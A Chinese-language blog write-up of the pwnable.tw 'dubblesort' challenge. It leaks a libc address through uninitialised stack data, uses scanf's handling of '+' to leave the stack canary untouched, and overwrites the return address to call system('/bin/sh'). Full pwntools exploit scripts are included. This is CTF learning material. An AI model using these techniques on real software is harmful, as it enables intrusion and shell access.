pwnable.tw dubblesort

dubblesort

首先看一下保护

保护全开。。。。
运行一下,我们发现有一串奇怪字符串。该程序的主要功能是数组排序。

放到IDA里静态分析。我们看到刚刚奇怪的字符串是在栈上。而且我们可以输入一个很大的数字,然后把unsorted_array数组塞满,这样就可以溢出覆盖ret了。

这里有2个问题

  1. 程序给了libc,暗示我们可以使用ret2libc,但是我们不知道libc的加载地址。
  2. 程序开启了canary保护,我们首先要绕过这个保护

泄漏libc地址
我们先来看看那个奇怪的字符串

from pwn import *
context.log_level = 'debug'
p = process('./dubblesort',env={"LD_PRELOAD":"./libc_32.so.6"})

gdb.attach(p)
p.sendlineafter('What your name :','A'*4)
p.interactive()

gdb断在__printf_chk处

我们可以看到0xffffddec后面存在libc的地址,我们把name设置成"A"*4*6这样我们就能泄漏出libc的地址了.

from pwn import *
context.log_level = 'debug'
p = process('./dubblesort',env={"LD_PRELOAD":"./libc_32.so.6"})

p.sendlineafter('What your name :','A'*4*6)
p.recvuntil('A'*0x18)
libc_base = u32(p.recv(4))-0x1b000a
print 'libc_base : '+hex(libc_base)

gdb.attach(p)
p.sendlineafter('What your name :','A'*4)
p.interactive()

这样我们就可以通过libc加载地址算出system,bin_sh的地址了。

绕过cannary
我们我们知道cannary存在变量v12里,而unsorted_array与v12相差0x60个字节,也就是0x60/4 = 24个数字。

from pwn import *
context.log_level = 'debug'
p = process('./dubblesort',env={"LD_PRELOAD":"./libc_32.so.6"})
#p = remote('chall.pwnable.tw',10101)
libc = ELF("./libc_32.so.6")

p.sendlineafter('What your name :','A'*4*6)
p.recvuntil('A'*0x18)
libc_base = u32(p.recv(4))-0x1b000a
print 'libc_base : '+hex(libc_base)
system =libc_base + libc.symbols['system']
bin_sh = libc_base +libc.search('/bin/sh').next()

print 'system : '+hex(system)
print 'bin_sh : '+hex(bin_sh)


length = 24
p.sendlineafter('to sort :',str(length))
for i in range(24):
    p.sendlineafter('number : ','1')
gdb.attach(p)
p.interactive()

我们使程序断在main函数结尾,可以看到24个1后面一个是cannary的值.而第24+1+8个数字即第33则是ret的值

我们没有办法泄漏出cannary的值,这时我们要考虑,有没有什么方法在输入数据时不改变栈上原来数据的内容?我尝试着输入非法字符,结果如下:

当我在第4个数的位置输入“a”这个非法字符时,之后的所有输入自动结束,并且从该位置之后的数据被泄露出来。scanf函数接收的数据格式为无符号整型(%u),而程序在检测到非法输入"a",于是本次的scanf函数执行失败,原栈上对应位置的数据也没有被改变。在下一次循环执行到scanf时,程序又到stdin中取数据,这时,上次输入的“a”由于非法并没有被取走,它还在stdin中存在着,因此scanf的输入又失败了……于是从第五个位置往后的所有栈上数据都不会被修改,且在程序最后被泄露出来。
这里可能有朋友要问了,在循环中明明有fflush,为什么无法清空stdin?我在网上查了相关内容,发现对于一些编译器,fflush会失效,不知道这里是不是这个原因。如果有朋友清楚这里的疑问,请一定要帮我解惑!
题目到此,好像这条路走不通了。那有没有什么字符可以既让scanf认为它是合法字符,同时又不会修改栈上的数据呢?在多次尝试和不断查阅资料后,我发现“+”和“-”可以达到此目的!因为这两个符号可以定义正数和负数,所以会被识别为合法字符。比如输入“+4”会被识别为4,而“-4”则会将其转为正数。

length = 11
p.sendlineafter('to sort :',str(length))
for i in range(10):
    p.sendlineafter('number : ',str(i))
p.sendline('+')


可以看到输入“+”,是合法的且没有改变内存中原来的值。

length = 24+1+9+1
p.sendlineafter('to sort :',str(length))
for i in range(24):
    p.sendlineafter('number : ','1')
p.sendline('+')
for i in range(9):
    p.sendlineafter('number : ',str(system))
p.sendline(str(bin_sh))

因为system的地址值一般会比canary的大很多,而bin_sh的值也比system的地址值大

解题脚本

from pwn import *
context.log_level = 'debug'
p = process('./dubblesort',env={"LD_PRELOAD":"./libc_32.so.6"})
#p = remote('chall.pwnable.tw',10101)
libc = ELF("./libc_32.so.6")

p.sendlineafter('What your name :','A'*4*6)
p.recvuntil('A'*0x18)
libc_base = u32(p.recv(4))-0x1b000a
print 'libc_base : '+hex(libc_base)
system =libc_base + libc.symbols['system']
bin_sh = libc_base +libc.search('/bin/sh').next()

print 'system : '+hex(system)
print 'bin_sh : '+hex(bin_sh)


length = 24+1+9+1
p.sendlineafter('to sort :',str(length))
for i in range(24):
    p.sendlineafter('number : ','1')
p.sendline('+')
for i in range(9):
    p.sendlineafter('number : ',str(system))
p.sendline(str(bin_sh))

#gdb.attach(p)
p.interactive()
posted @ 2020-05-13 20:04  Rookle  阅读(528)  评论(1编辑  收藏  举报